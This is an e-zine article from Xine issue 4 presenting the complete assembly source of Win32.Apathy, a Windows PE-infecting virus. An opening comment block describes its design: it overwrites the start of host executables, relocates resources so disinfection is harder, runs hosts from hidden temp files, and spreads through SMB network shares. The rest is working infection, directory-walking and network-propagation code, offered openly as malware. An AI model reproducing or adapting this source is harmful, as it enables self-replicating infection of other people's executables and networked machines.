/-----------------------------\ | Xine - issue #4 - Phile 208 | \-----------------------------/ ; ; - Win32.Apathy - ; -b0z0/iKX- ; ; This is a PE infector that works in 9x/NT systems and infected files in ; that enviroments will work correctly after infection (I'm not sure that ; there is a secret bu... feature that could make them not to work). ; While infecting Win32.Apathy will overwrite the original PE start with ; a copy of itself, thus avoiding entirely the API searching problem, ; saving the original piece of code at the end of the infected file. To ; maintain compatibility with NT and to make disinfection a little tricky ; the virus will also change the .rsrc RVA and consequently all the resource ; entryes to some standard position. So just copying the original piece of ; will result in damaging the executable. The original file will be ; reconstructed in a temporary file and executed there as a new process. ; Check code for other things about the infection process and such. ; Win32.Apathy will also try to spread through the network (microsoft ; network or SMB or how you wanna call it) by scanning some connected ; resources and trying to infect files over there. ; ; The virus has been quite tested under Win95/98/NT4 ; ; Win32.Apathy born really a lot of time ago, I started coding this just ; after Xine#3 was out, but then the whole project (like all my other VX ; projects) was stopped until about december 1998 when I decided to finish ; at least something. The code tho is not optimized at all, could not be ; too clear in some parts, I just wanted to materialize a few ideas I had ; and I didn't really care too much to optimize or something this. ; ; The virus name is quite obvious, but: ; apathy: the state of having no wish to act and no enthusiasm ; ; Thanx to StarZero for cool hints and notes! ; ; For any kind of info or something contact me at cl0wn@geocities.com ; .386 .model flat ; kernel32 ones we need extrn SetFileAttributesA:PROC extrn Sleep:PROC extrn GetWindowsDirectoryA:PROC extrn GetTickCount:PROC extrn lstrcpy:PROC extrn ExitProcess:PROC extrn SetFileTime:PROC extrn DeleteFileA:PROC extrn GetTempPathA:PROC extrn GetTempFileNameA:PROC extrn CreateProcessA:PROC extrn CopyFileA:PROC extrn FindFirstFileA:PROC extrn FindNextFileA:PROC extrn GetCommandLineA:PROC extrn CloseHandle:PROC extrn ReadFile:PROC extrn HeapAlloc:PROC extrn GetProcessHeap:PROC extrn CreateFileA:PROC extrn CreateFileMappingA:PROC extrn MapViewOfFile:PROC extrn UnmapViewOfFile:PROC extrn GetFileSize:PROC extrn CreateMutexA:PROC extrn GetLastError:PROC ; for network from mpr.dll extrn WNetOpenEnumA:PROC extrn WNetEnumResourceA:PROC .data vname db 0,'Win32.Apathy by ' author db '-b0z0/iKX-',0 ; used as mutex object name fsearch: f_attrib dd 00h f_ctime dd 00h,00h f_atime dd 00h,00h f_wtime dd 00h,00h f_size_hi dd 00h f_size_lo dd 00h f_reserved dd 00h,00h f_name db 104h dup (?) f_alt_name db 0eh dup (?) msg db 'i am nobody except genetic runaround',0 ff_handle dd 00h f_handle dd 00h dotdot_mask db '..',0 exemask db '*.EXE',0 v_map_handle dd 00h v_file_handle dd 00h orig_virus_p dd 00h pref db 'ikx',0 ; tmp file name prefix path_position dd offset new_path new_path db 112h dup (?) ; max_path + a bit more tmp_name db 112h dup (?) process_info dd 4 dup (?) ; STARTUPINFO structure for new process startup_info dd 10h ; lenght of this structure dd 00h,00h title_startup dd 00h ; pointer to title for console progs ; has_infected db 00h ; 00h no, 01h yes virus_phase db 07h ; 07h infecting . ; 06h infecting windows directory ; 05h infecting network 1 try ; 04h infecting network 2 try ; 03h infecting .. ; 02h infecting network 3 try ; 01h infecting network 4 try netspace equ 4000h ; 16kb as suggested. place for 200h ; entryes... way too much anyway enum_handle dd 00h ; handle of Net enumeration enum_count dd 1ffh ; how many got / how many to get enum_size dd netspace ; size of memory avaiable for results r_point dd 0h ; here begins the virus code .code ; equs exesize equ 1502h ; size of virus executable pe_begin equ 100h ; where PE header begins in virus file_align equ 200h ; file align value (= to linker one) read_exe equ 4096d ; how much victim to read to check marker equ '0z0b' ; infection marker wait_time equ 2604d ; time between each search sleep_time equ 7919d ; add sleep time after good infection f_shit equ 2000h ; first gen dim ; the marker must be set at offset 58h of the PE once compiled startcode: call GetProcessHeap push (exesize + read_exe + netspace) push 8h ; zero memory push eax call HeapAlloc ; allocate some memory from our heap mov dword ptr [orig_virus_p],eax push offset new_path push 112h call GetTempPathA push offset tmp_name ; create a temporary name push large 0 push offset pref push offset new_path call GetTempFileNameA call GetCommandLineA ; get our name cmp byte ptr [eax],22h ; " this is strange, sometimes cmdline jne not_thatshit ; is enclosed in "", so we must take inc eax ; care if they are there push eax find_ending: cmp byte ptr [eax],22h je delete_ending_aswell inc eax jmp find_ending delete_ending_aswell: mov byte ptr [eax],20h pop eax not_thatshit: push eax mov dword ptr [title_startup],eax search_end: inc eax cmp byte ptr [eax-1],'.' ; go to the extension jne search_end cmp byte ptr [eax+3],20h ; space je found_end cmp byte ptr [eax+3],00h ; end of string jne search_end found_end: add eax,3 ; point on end of exe name push eax push eax ; copy possible command line options push offset new_path ; to the buffer call lstrcpy pop eax mov byte ptr [eax],0 ; put null to open/copy it pop eax push large 0 push offset tmp_name push eax ; copy ourselves to another name call CopyFileA or eax,eax jz exit_critical_temp push 02h ; file attribute hidden push offset tmp_name call SetFileAttributesA xor eax,eax push eax push large 80h push large 3 push eax push eax push 0c0000000h ; readwrite push offset tmp_name ; open the temporary file call CreateFileA inc eax ; check if opened ok jz exit_critical_temp dec eax mov dword ptr [v_file_handle],eax push eax push large 0 push eax ; handle call GetFileSize ; get size of file we are running from xchg ecx,eax ; copied in a tmp file pop eax push ecx ; size xor ecx,ecx push ecx push ecx ; entire file push ecx push large 04h push ecx push eax call CreateFileMappingA cdq or eax,eax jz exit_critical_temp ; eax map handle push eax ; mapping handle push edx push edx push edx push large 02h push eax call MapViewOfFile or eax,eax pop ebx ; mapping handle je exit_critical_temp cld mov esi,eax mov edi,dword ptr [orig_virus_p] mov ecx,exesize mov edx,ecx rep movsb pop ecx ; size cmp ecx,f_shit jz first_generation sub ecx,edx sub ecx,edx push ebx ; map handle mov edi,esi add esi,ecx mov ecx,edx sub edi,ecx push edi ; to beginning of file mapping in mem push edi rep movsb ; restore original pop edi mov esi,edi ; now we must restore the resources add edi,dword ptr [edi+3ch] ; on PE mov eax,dword ptr [edi+8ch] ; resources lenght or eax,eax jz no_resourz mov eax,dword ptr [edi+88h] ; resources RVA add edi,0f8h+0ch ; to objects srs_loo: cmp eax,dword ptr [edi] ; is the resources one? je got_srsr add edi,28h ; lenght of an object jmp srs_loo got_srsr: add esi,dword ptr [edi+08h] ; physical offset of resources mov ebx,4000h ; fixed virus resources RVA sub ebx,eax call rsrs_change ; call changer no_resourz: ; everything is ready again call UnmapViewOfFile call CloseHandle push dword ptr [v_file_handle] ; close virus file call CloseHandle xor eax,eax push offset process_info push offset startup_info push eax push eax push eax push eax push eax push eax push offset new_path ; to command line options push offset tmp_name ; to file to execute call CreateProcessA ; run host executable first_generation: push offset author ; name of the mutex object push large 1 push large 0 call CreateMutexA ; create one call GetLastError ; check if one with the same name or eax,eax ; already exist. if so virus is already jnz exit_critical_temp ; running as another process mov eax,offset exemask search_loop: push offset fsearch push eax call FindFirstFileA ; search for some victims cmp eax,-1 je end_file_search mov dword ptr [ff_handle],eax infect_file: push offset f_name push dword ptr [path_position] ; copy found file call lstrcpy ; after directory push 80h ; FILE_ATTRIBUTE_NORMAL push offset new_path call SetFileAttributesA ; delete attributes or eax,eax jz error_attributes xor eax,eax push eax push large 80h push large 3 push eax push eax push 0c0000000h ; readwrite push offset new_path ; full file name to file to call CreateFileA ; infect inc eax jz error_opening dec eax mov dword ptr [f_handle],eax push eax mov edx,dword ptr [orig_virus_p] ; virus heap add edx,exesize ; read data is after original push edx push large 0 push offset f_size_hi ; some place to store nr of push read_exe ; readed bytes push edx push eax call ReadFile ; read header pop edx pop eax cmp word ptr [edx],'ZM' ; exe? jne not_to_infect mov ecx,dword ptr [edx+3ch] ; pointer to PE header cmp ecx,(read_exe - 4) ; is the PE header in readed jae not_to_infect ; chunk of executable? add edx,ecx cmp dword ptr [edx],'EP' jne not_to_infect cmp dword ptr [edx+58h],marker ; already infected? je not_to_infect test dword ptr [edx+3ch],(file_align - 1) jnz not_to_infect ; must have an align cmptible mov ecx,dword ptr [f_size_lo] ; file size (assume <= 4gb) cmp ecx,(10 * 1024) ; not too small files jbe not_to_infect ; leave it mov ebx,dword ptr [edx+8ch] ; resource size or ebx,ebx jz no_resp mov ebx,dword ptr [edx+88h] ; pointer to resources add edx,(0f8h + 0ch) search_rsrcs: cmp ebx,dword ptr [edx] ; is the resources one? je got_rsrcs add edx,28h ; lenght of an object jmp search_rsrcs got_rsrcs: sub edx,0ch ; on beginning of this object cmp dword ptr [edx+14h],exesize ; are resources after the virus jbe not_to_infect ; size (this is won't be overw) mov ebx,edx no_resp: mov dword ptr [r_point],ebx add ecx,exesize ; will extend it by exesize xor edx,edx push edx push ecx push edx push large 04h push edx push eax call CreateFileMappingA cdq or eax,eax jz not_to_infect mov dword ptr [v_map_handle],eax push edx push edx push edx push large 02h push eax call MapViewOfFile or eax,eax jz close_map_exit mov edi,eax push edi mov esi,edi add edi,dword ptr [f_size_lo] mov edx,edi mov ecx,exesize ; save original code after the end push ecx rep movsb pop ecx pop edi push edi mov esi,dword ptr [orig_virus_p] ; on vir rep movsb ; copy virus body pop edi push edi mov esi,edx mov edx,edi add esi,dword ptr [esi+3ch] ; on PE mov ecx,4000h ; image size of virus file w/o rsrcs mov dword ptr [edi+pe_begin+50h],ecx ; correct image size mov word ptr [edi+pe_begin+6],3h ; number of virus objects mov eax,dword ptr [r_point] ; pointer to resources object mov ebx,dword ptr [esi+8ch] ; resource size mov dword ptr [edi+pe_begin+8ch],ebx mov dword ptr [edi+pe_begin+88h],0h ; zero resurce RVA by default or eax,eax ; resources length 0? jz no_resources mov ebx,dword ptr [esi+88h] ; resource RVA sub ebx,ecx mov dword ptr [edi+pe_begin+88h],ecx ; set resources pointer inc word ptr [edi+pe_begin+6] ; number of objects mov esi,eax ; on resources object add edi,(pe_begin + 0f8h + (3*28h)) mov ecx,028h ; copy resources object rep movsb mov esi,edx ; on beginning of file mov dword ptr [edi-28h+0ch],4000h mov eax,dword ptr [edi-28h+08h] ; object virtual size add eax,(1000h - 1) and eax,0fffff000h add dword ptr [edi - (0f8h + (4*28h)) + 50h],eax ; to image size mov eax,dword ptr [edi-28h+14h] ; physical offset of resources add esi,eax call rsrs_change ; change those no_resources: call UnmapViewOfFile ; unmap view of file inc byte ptr [has_infected] ; good infection, so a pause ; will occour close_map_exit: push dword ptr [v_map_handle] call CloseHandle ; close mapping handle mov eax,dword ptr [f_handle] push eax push offset f_wtime push offset f_atime push offset f_ctime push eax call SetFileTime ; restore original file time pop eax not_to_infect: push eax ; file handle call CloseHandle ; close infected file error_opening: push dword ptr [f_attrib] ; restore old attributes to file push offset new_path call SetFileAttributesA error_attributes: mov eax,wait_time ; so it won't work too much dec byte ptr [has_infected] jnz no_infection add eax,sleep_time ; if a file was infected then make a ; longer pause no_infection: push eax call Sleep ; pause until next one mov byte ptr [has_infected],00h ; reset infection mark push offset fsearch push dword ptr [ff_handle] call FindNextFileA or eax,eax ; no more files? jz end_file_search jmp infect_file ; else infect end_file_search: call GetTickCount ; should we go deeper in dir shr eax,1 ; from actual position? jc next_phase mov esi,dword ptr [path_position] ; search from last dir fwd mov dword ptr [esi],' .*' ; to search dirs and such push eax push offset fsearch push offset new_path call FindFirstFileA mov dword ptr [ff_handle],eax cmp eax,-1 pop eax je next_phase ; no dirs in here check_dir: test dword ptr [f_attrib],10h ; is a directory? jz search_next_dir cmp byte ptr [f_name],'.' ; not . or .. je search_next_dir shr eax,1 ; select randomly if walk into jnc search_next_dir ; this or try another mov eax,dword ptr [path_position] ; put after actual search path mov esi,offset f_name ; point to directory name jmp copy_from_eax search_next_dir: push eax push offset fsearch push dword ptr [ff_handle] ; search next call FindNextFileA or eax,eax ; no more directoryes? pop eax jnz check_dir next_phase: dec byte ptr [virus_phase] mov al,byte ptr [virus_phase] or al,al ; phases finished jz farewell_and_goodnight cmp al,03h ; search in .. je search_dotdot cmp al,06h ; windows directory phase jne network_work mov esi,offset new_path push 104h ; buffer lenght push esi ; search in windoze directory call GetWindowsDirectoryA jmp copy_and_gosearch search_dotdot: mov esi,offset dotdot_mask jmp copy_and_gosearch network_work: xor ebx,ebx find_resource: push offset enum_handle push ebx ; pointer to NETSOURCE structure to use push large 3 ; CONNECTABLE | CONTAINER push large 1 ; RESOURCETYPE_DISK push large 2 ; RESOURCE_GLOBALNET call WNetOpenEnumA or eax,eax ; 0 = NO_ERROR jnz next_phase ; on error just skip this phase mov eax,dword ptr [orig_virus_p] ; pointer to heap add eax,(exesize + read_exe) ; after other data mov dword ptr [enum_count],1ffh ; get max entryes push eax push offset enum_size ; avaiable memory for results push eax ; where to place results push offset enum_count ; how many to enumerate push dword ptr [enum_handle] ; handle of enumeration call WNetEnumResourceA pop ebx or eax,eax ; 0 = NO_ERROR jnz next_phase ; if some error skip mov ecx,dword ptr [enum_count] ; number of entryes got call GetTickCount ; random xor edx,edx div ecx mov eax,20h ; lenght of one entry mul edx ; select which one add ebx,eax test dword ptr [ebx+0ch],01h ; is an usable resource jz find_resource ; if not should be a container ; (local or remote) so continue ; to next level got_resource: mov esi,dword ptr [ebx+14h] ; here it is copy_and_gosearch: mov eax,offset new_path copy_from_eax: push eax push esi ; path to network or dir push eax ; where to copy call lstrcpy pop eax loop_searchzero: cmp byte ptr [eax],00h je got_null_termination ; find end inc eax jmp loop_searchzero got_null_termination: mov byte ptr [eax],'\' ; add \ inc eax mov dword ptr [path_position],eax push offset exemask ; and now copy the *.exe mask push eax call lstrcpy mov eax,offset new_path jmp search_loop farewell_and_goodnight: exit_critical_temp: ; before exiting delete some temp files (the still used ones will be deleted ; next time since are actually in use) mov esi,offset tmp_name ; has temp path + last temp name search_dottmp: inc esi cmp word ptr [esi],'i\' ; find beginning of name jne search_dottmp inc esi inc esi cmp word ptr [esi],'xk' jne search_dottmp got_end: inc esi inc esi push esi mov dword ptr [esi],'mt.*' ; set delete ikx*.tmp mov word ptr [esi+4],'p' ; p + null termination push offset fsearch push offset tmp_name call FindFirstFileA pop edi ; after ikx in temp name cmp eax,-1 je exit_deletion delete_temps: mov esi,(offset f_name + 3) mov ecx,9h ; sometimes will be shorter but wc push edi rep movsb pop edi push eax ; preserve handle push offset tmp_name call DeleteFileA ; could fail if file is pop eax ; used, but np push eax push offset fsearch push eax call FindNextFileA ; find next to delete or eax,eax pop eax jnz delete_temps exit_deletion: exit: push LARGE -1 ; that's all, will release also call ExitProcess ; our mutex object rsrs_change: ; EBX = value to substract to each resource element ; ESI = pointer to resources xor edx,edx ; will keep number of data elements push ebx search_rsr: add esi,10h movzx ecx,word ptr [esi - 2] ; nr of named and integer add cx,word ptr [esi - 4] ; entryes in this dir adc ecx,0 na_nasl: mov ebx,dword ptr [esi + 4] test ebx,80000000h ; is a resource data entry? jnz is_subdir inc edx is_subdir: add esi,8 ; on next loop na_nasl cmp dword ptr [esi],00h ; finished ? je search_rsr pop ebx mov ecx,edx change_res: sub dword ptr [esi],ebx ; sub requested value add esi,10h loop change_res ; change all entryes ret end startcode